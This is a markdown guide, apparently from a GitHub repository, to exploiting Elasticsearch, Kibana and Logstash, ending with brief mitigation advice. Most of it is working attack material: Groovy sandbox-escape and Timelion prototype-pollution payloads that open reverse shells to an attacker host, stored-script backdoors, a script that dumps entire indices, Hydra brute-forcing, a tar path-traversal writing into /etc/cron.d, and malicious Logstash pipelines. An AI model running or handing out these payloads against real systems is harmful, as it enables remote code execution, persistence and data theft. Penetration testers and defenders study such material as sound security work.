Skip to content

Latest commit

 

History

History
698 lines (484 loc) · 19.6 KB

File metadata and controls

698 lines (484 loc) · 19.6 KB

ELK Stack Exploitation Methodologies - Complete Practical Guide

This guide provides complete, step-by-step methodologies for exploiting vulnerabilities in Elasticsearch, Kibana, and Logstash. Each section includes real-world attack patterns, tool usage, Burp Suite techniques, and testing procedures based on actual exploits discovered between 2015 and 2026.


Part 1: Elasticsearch Exploitation

1.1 CVE-2015-1427 - Groovy Sandbox Bypass & RCE

Vulnerability Overview: Elasticsearch versions 1.3.0-1.3.7 and 1.4.0-1.4.2 contain a vulnerability in the Groovy scripting engine that allows attackers to escape the sandbox and execute shell commands as the user running the Elasticsearch Java VM .

Real-World Impact: This vulnerability was actively exploited by threat actors in 2019 to build DDoS botnets. Attackers scanned for exposed Elasticsearch servers and deployed BillGates malware variants capable of launching DNS reflection amplification attacks .

Affected Versions:

  • Elasticsearch 1.3.0 through 1.3.7
  • Elasticsearch 1.4.0 through 1.4.2

Exploitation Methodology

Step 1: Identify Vulnerable Target

First, verify if the target Elasticsearch instance is accessible and determine its version:

curl -X GET "http://target:9200/"

Look for version information in the response. If you see versions between 1.3.0-1.4.2, the target is likely vulnerable.

Step 2: Test for Dynamic Scripting Availability

Check if dynamic Groovy scripting is enabled (default configuration is vulnerable):

curl -X GET "http://target:9200/_cluster/settings?include_defaults=true" | grep -i groovy

Step 3: Execute Commands via Groovy Sandbox Bypass

The vulnerability allows execution of system commands through Groovy's native capabilities without using Java reflection .

Direct Command Execution Payload:

curl -X POST "http://target:9200/_search?pretty" -H 'Content-Type: application/json' -d '
{
  "script_fields": {
    "my_field": {
      "script": "def command=\"whoami\"; def res=command.execute().text; res",
      "lang": "groovy"
    }
  }
}'

Reverse Shell Payload:

curl -X POST "http://target:9200/_search?pretty" -H 'Content-Type: application/json' -d '
{
  "script_fields": {
    "my_field": {
      "script": "def command=\"nc -e /bin/sh attacker_ip 4444\"; def res=command.execute().text; res",
      "lang": "groovy"
    }
  }
}'

Step 4: Advanced Exploitation - Persistent Backdoor via Script Indexing

This technique allows you to store malicious scripts for persistent access .

Create a stored script (backdoor):

curl -X POST "http://target:9200/_scripts/groovy/shell_backdoor" -H 'Content-Type: application/json' -d '
{
  "script": "def res=command.execute().text; res"
}'

Execute the stored script with parameters:

curl -X POST "http://target:9200/_search?pretty" -H 'Content-Type: application/json' -d '
{
  "query": {
    "match_all": {}
  },
  "script_fields": {
    "exec_result": {
      "script_id": "shell_backdoor",
      "lang": "groovy",
      "params": {
        "command": "id"
      }
    }
  }
}'

Using Nmap for Automated Detection

Nmap provides a dedicated script for detecting CVE-2015-1427 :

nmap --script=http-vuln-cve2015-1427 --script-args command='id' target_ip -p 9200

Expected output:

| http-vuln-cve2015-1427:
|   VULNERABLE:
|   ElasticSearch CVE-2015-1427 RCE Exploit
|     State: VULNERABLE (Exploitable)
|     IDs:  CVE:CVE-2015-1427
|     Risk factor: High  CVSS2: 7.5
|     Exploit results:
|       ElasticSearch version: 1.3.7
|       Java version: 1.8.0_45

Using Burp Suite for Manual Exploitation

Step 1: Capture a request to the Elasticsearch endpoint in Burp Suite.

Step 2: Send to Repeater and modify the request:

POST /_search?pretty HTTP/1.1
Host: target:9200
Content-Type: application/json
Content-Length: [calculate]

{
  "script_fields": {
    "test": {
      "script": "def cmd=\"cat /etc/passwd\"; def result=cmd.execute().text; result",
      "lang": "groovy"
    }
  }
}

Step 3: Click "Send" and observe command output in the response.

1.2 Elasticsearch Unauthenticated Access Testing

Detection Methodology

Check if authentication is disabled :

# Check version info - if accessible, auth may be disabled
curl -X GET "http://target:9200/"

# Verify security status
curl -X GET "http://target:9200/_xpack/security/user"

If you receive a response containing "Security must be explicitly enabled", authentication is DISABLED and you have full access .

If you receive a 401 error with "missing authentication credentials", authentication is ENABLED.

Data Enumeration Commands

Once unauthenticated access is confirmed, enumerate all data :

# List all indices (databases)
curl 'http://target:9200/_cat/indices?v'

# List all nodes in cluster
curl 'http://target:9200/_cat/nodes?v'

# View cluster status
curl 'http://target:9200/_status'

# Search all indices (first 10 results)
curl 'http://target:9200/_search?pretty'

# Search specific index
curl 'http://target:9200/index_name/_search?pretty'

# Dump entire index
curl 'http://target:9200/index_name/_search?size=10000&pretty'

Using Python for Automated Data Extraction

import requests
import json

target = "http://target:9200"

# List all indices
response = requests.get(f"{target}/_cat/indices?format=json")
indices = response.json()

for index in indices:
    index_name = index['index']
    print(f"Dumping index: {index_name}")
    
    # Extract all documents from this index
    docs = requests.get(f"{target}/{index_name}/_search?size=10000")
    data = docs.json()
    
    # Save to file
    with open(f"{index_name}_dump.json", "w") as f:
        json.dump(data, f, indent=2)

1.3 Elasticsearch with Authentication - Credential Attacks

Default Built-in Users :

  • elastic (superuser - default password: changeme in older versions)
  • kibana_system
  • logstash_system
  • beats_system
  • apm_system
  • remote_monitoring_user

Brute Force Testing with Hydra

hydra -l elastic -P /usr/share/wordlists/rockyou.txt target -s 9200 http-get /

Authenticated Enumeration

Once credentials are obtained :

# List all users
curl -X GET "http://target:9200/_security/user" -u elastic:password

# List all roles
curl -X GET "http://target:9200/_security/role" -u elastic:password

# Check specific user privileges
curl -X GET "http://target:9200/_security/user/elastic" -u elastic:password

# Using API key instead of credentials
curl -H "Authorization: ApiKey your_api_key_here" "http://target:9200/"

Part 2: Kibana Exploitation

2.1 CVE-2019-7609 - Prototype Pollution leading to RCE

Vulnerability Overview: Kibana versions before 5.6.15 and 6.6.1 contain a prototype pollution vulnerability in the Timelion visualizer that allows arbitrary code execution .

Real-World Discovery: Security researcher Michał Bentkowski discovered this vulnerability and presented it at OWASP Poland Day. On October 16, 2019, Alibaba Cloud researcher Henry Chen tweeted the Proof of Concept, and an exploit script was published to GitHub on October 21, 2019 .

Affected Versions :

  • Kibana 3.0 through 5.6.14 - VULNERABLE
  • Kibana 6.0.0 through 6.6.0 - VULNERABLE
  • Kibana 5.6.15 and 6.6.1+ - NOT VULNERABLE

Risk Assessment: CVSS 10.0 (Critical) - allows full remote code execution with Kibana process privileges .

Exploitation Methodology

Prerequisites:

  • Access to Kibana's Timelion page (typically http://target:5601/app/timelion)
  • Network access to the Kibana port (default: 5601)

Step 1: Environment Setup (for lab testing)

# On Docker host, modify kernel setting
sysctl -w vm.max_map_count=262144

# Start vulnerable Kibana and Elasticsearch
docker-compose up -d

Step 2: Prepare Listener for Reverse Shell

On your attacker machine:

nc -lvnp 4444

Step 3: Access Timelion Page

Navigate to: http://target:5601/app/timelion

Step 4: Inject Prototype Pollution Payload

In the Timelion expression input box, enter the following payload (replace attacker_ip and port with your values) :

.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("nc -e /bin/sh attacker_ip 4444");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')

Alternative Payload for Testing (file creation) :

.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("/bin/touch /tmp/pwned");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')

Step 5: Trigger Execution

Click the "Execute" button (play icon) on the Timelion page, then navigate to the "Canvas" page by clicking the Canvas icon in the left sidebar .

Step 6: Verify Exploitation

  • For reverse shell: Check your netcat listener for incoming connection
  • For file creation: On the target, verify the file exists:
    ls -la /tmp/pwned

Technical Deep Dive: How the Exploit Works

The vulnerability exploits JavaScript prototype pollution combined with Node.js environment variable hijacking .

Phase 1 - Environment Pollution:

The payload uses Timelion's props() method to modify the global Object prototype. By setting label.__proto__.env.AAAA, the attacker adds a property to all objects' environment .

Phase 2 - Command Injection:

The AAAA environment variable contains JavaScript code that will be executed. The NODE_OPTIONS variable is set to --require /proc/self/environ, which forces Node.js to load the polluted environment variables as a module, triggering execution .

Phase 3 - Execution Trigger:

When the Canvas page is accessed, Kibana spawns a new Node.js process that loads the polluted environment, executing the attacker's command .

Using Burp Suite for CVE-2019-7609 Exploitation

Step 1: Configure Burp Suite as a proxy and access the Timelion page.

Step 2: Capture the request when clicking "Execute" on Timelion. The request will look similar to:

POST /api/timelion/run HTTP/1.1
Host: target:5601
Content-Type: application/json

{"sheet": [".es(*).props(label.__proto__.env.AAAA='require(\"child_process\").exec(\"nc -e /bin/sh 10.0.0.1 4444\");process.exit()//')\n.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')"], "time": {"from": "now-15m", "to": "now", "mode": "quick"}, "search": "..."}

Step 3: Send to Repeater and modify the command as needed.

Step 4: Send a second request to the Canvas endpoint to trigger execution:

GET /app/canvas HTTP/1.1
Host: target:5601

Automated Exploitation Tools

Existing Public Exploit Script :

A Python exploit script was published on GitHub in October 2019. Usage:

python exploit.py --host target_ip --port 5601 --lhost attacker_ip --lport 4444

Search for vulnerable instances using BinaryEdge :

A BinaryEdge search reveals more than 4,200 publicly accessible Kibana instances. The most prominent versions of Kibana are vulnerable versions, such as 6.2.4, 6.3.2 and 6.3.1.

Detection of Vulnerable Versions

# Check Kibana version via API
curl http://target:5601/api/status

# Or check via response headers
curl -I http://target:5601

2.2 Kibana Unauthenticated Access

If Elasticsearch has authentication disabled, Kibana will also be accessible without credentials .

Check Kibana configuration file (if you have access to the filesystem):

cat /etc/kibana/kibana.yml

Look for:

  • elasticsearch.username and elasticsearch.password
  • elasticsearch.hosts
  • server.host (bind address)

Part 3: Logstash Exploitation

3.1 CVE-2026-33466 - Path Traversal to RCE

Vulnerability Overview: This recently disclosed vulnerability (April 2026) affects Logstash versions 8.x before 8.19.14, 9.x before 9.2.8, and 9.3.x before 9.3.3. The archive extraction utilities used by Logstash do not properly validate file paths within compressed archives .

CVSS Score: 8.1 (High) / CVSS v4: 9.2 (Critical)

Attack Vector: An attacker who can serve a specially crafted archive to Logstash through a compromised or attacker-controlled update endpoint can write arbitrary files to the host filesystem with the privileges of the Logstash process .

Escalation: In configurations where automatic pipeline reloading is enabled (config.reload.automatic: true), this can be escalated to remote code execution .

Exploitation Methodology

Step 1: Check Logstash Version

curl http://target:9600/_node/stats?pretty | grep version

Or if you have access to the server:

/usr/share/logstash/bin/logstash --version

Step 2: Check for Automatic Reloading

grep "config.reload.automatic" /etc/logstash/logstash.yml

If set to true, the system is vulnerable to RCE escalation.

Step 3: Create Malicious Archive

Create a tar file with path traversal payload:

# Create a file that will be extracted to an arbitrary location
echo "malicious content" > evil_file

# Create tar with path traversal
tar -cf payload.tar --transform='s|evil_file|../../../../etc/cron.d/backdoor|' evil_file

Step 4: Serve Malicious Archive

Set up a web server to host the malicious archive:

python3 -m http.server 8000

Step 5: Trigger Logstash to Download and Extract

If Logstash is configured to fetch updates from an attacker-controlled endpoint, it will extract the archive without validating paths.

3.2 Logstash Configuration-Based Code Execution

Real-World Attack Scenario (from HackTheBox Haystack machine) :

The attack chain involved:

  1. Discovering Logstash running on the target
  2. Finding write access to Logstash configuration directories
  3. Creating a malicious pipeline that executes commands

Prerequisites for Exploitation :

  • Write access to .conf files in /etc/logstash/conf.d/
  • OR write access to /etc/logstash/pipelines.yml
  • AND either:
    • config.reload.automatic: true in /etc/logstash/logstash.yml
    • OR ability to restart the Logstash service

Exploitation Methodology

Step 1: Check Current Configuration

# Find pipeline configuration paths
cat /etc/logstash/pipelines.yml

Example output :

- pipeline.id: main
  path.config: "/etc/logstash/conf.d/*.conf"

Step 2: Create Malicious Pipeline Configuration

Create or modify a .conf file in the configuration directory:

# /etc/logstash/conf.d/evil.conf
input {
  exec {
    command => "bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'"
    interval => 10
  }
}

output {
  file {
    path => "/tmp/output.log"
    codec => rubydebug
  }
}

Step 3: Trigger Execution

If config.reload.automatic is true, Logstash will detect the change within the interval specified (default: 3 seconds). If not, you need to restart the service:

sudo systemctl restart logstash

Step 4: Advanced Logstash Exploitation - Using Grok Parsing

This technique uses Logstash's grok filter to parse specially crafted log files and execute commands .

Create filter.conf:

filter {
  if [type] == "execute" {
    grok {
      match => {"message" => "Execute\s*command\s*:\s+%{GREEDYDATA:command}" }
    }
  }
}

Create input.conf:

input {
  file {
    path => "/opt/kibana/logstash_*"
    start_position => "beginning"
    sincedb_path => "/dev/null"
    stat_interval => "10second"
    type => "execute"
    mode => "read"
  }
}

Create output.conf:

output {
  if [type] == "execute" {
    exec {
      command => "%{command} &"
    }
  }
}

Trigger command execution:

echo "Execute command: nc -e /bin/sh attacker_ip 4444" > /opt/kibana/logstash_trigger

3.3 Finding Sensitive Information in Logstash Configs

Logstash configuration files often contain credentials for various data sources .

Check common configuration locations:

# Main config
cat /etc/logstash/logstash.yml

# Pipeline configs
cat /etc/logstash/conf.d/*.conf

# Check for credentials in input plugins
grep -r "password\|user\|host\|port" /etc/logstash/conf.d/

Example of sensitive data in configs:

input {
  jdbc {
    jdbc_connection_string => "jdbc:mysql://db.internal:3306/logs"
    jdbc_user => "logstash_user"
    jdbc_password => "SuperSecret123!"
    jdbc_driver_library => "/etc/logstash/mysql-connector.jar"
  }
}

Part 4: Complete Attack Chain Example - HackTheBox Haystack

This real-world example from the HackTheBox Haystack machine demonstrates how ELK stack vulnerabilities can be chained together .

Attack Timeline:

00:54 - Reconnaissance discovers Elasticsearch on port 9200

06:00 - Using /_cat/indices to list all indices in Elasticsearch

07:37 - Using /quotes/_search to dump the Quotes index and extract data using jq

22:50 - SSH access obtained as the security user

24:00 - Running LinEnum enumeration script, discovering Kibana listening on port 5601

28:15 - Creating a local port forward to access Kibana:

ssh -L 5601:localhost:5601 user@target

29:50 - Checking Kibana version and finding known exploits (CVE-2019-7609)

30:50 - Getting a reverse shell as the Kibana user using the Timelion exploit

37:10 - Accessing Logstash directory and discovering it executes code with specific log messages

39:33 - Getting a reverse shell as the Logstash user (root privileges)

This demonstrates the full exploitation chain:

  1. Information disclosure via Elasticsearch
  2. Initial foothold via SSH
  3. Privilege escalation via Kibana RCE
  4. Further escalation via Logstash configuration abuse

Part 5: Tools Summary

Automated Scanning Tools

Tool Purpose Command Example
Nmap CVE-2015-1427 detection nmap --script=http-vuln-cve2015-1427 -p 9200 target
Nessus Logstash CVE-2026-33466 detection Plugin ID 305951
BinaryEdge Find exposed Kibana instances Search for port 5601

Manual Testing Tools

Tool Use Case
Burp Suite Intercept and modify Elasticsearch/Kibana API requests
curl Direct API testing and command execution
netcat Reverse shell listener
Python Automated data extraction and exploit scripting
jq Parse JSON responses from Elasticsearch API

Key Testing Commands Reference

# Elasticsearch
curl -X GET "http://target:9200/"                                    # Version check
curl -X GET "http://target:9200/_cat/indices?v"                     # List indices
curl -X GET "http://target:9200/_search?pretty"                     # Search all data

# Kibana
curl -I "http://target:5601"                                        # Version headers
curl "http://target:5601/api/status"                                # Status API

# Logstash
curl "http://target:9600/_node/stats?pretty"                        # Version & stats
grep "config.reload.automatic" /etc/logstash/logstash.yml          # Check reloading

Part 6: Mitigation Recommendations

Based on the vulnerabilities discussed:

  1. Elasticsearch:

    • Upgrade beyond version 1.4.2 or disable Groovy scripting (script.groovy.sandbox.enabled: false)
    • Enable X-Pack security with strong passwords
    • Never expose port 9200 directly to the internet
  2. Kibana:

    • Upgrade to version 6.6.1 or 5.6.15 or higher
    • If upgrade is not possible, disable Timelion: timelion.enabled: false in kibana.yml
    • Do not expose Kibana to public networks without authentication
  3. Logstash:

    • Upgrade to version 8.19.14, 9.2.8, or 9.3.3+
    • Disable automatic pipeline reloading unless necessary
    • Validate all archive files before extraction
    • Run Logstash with least privilege (not as root)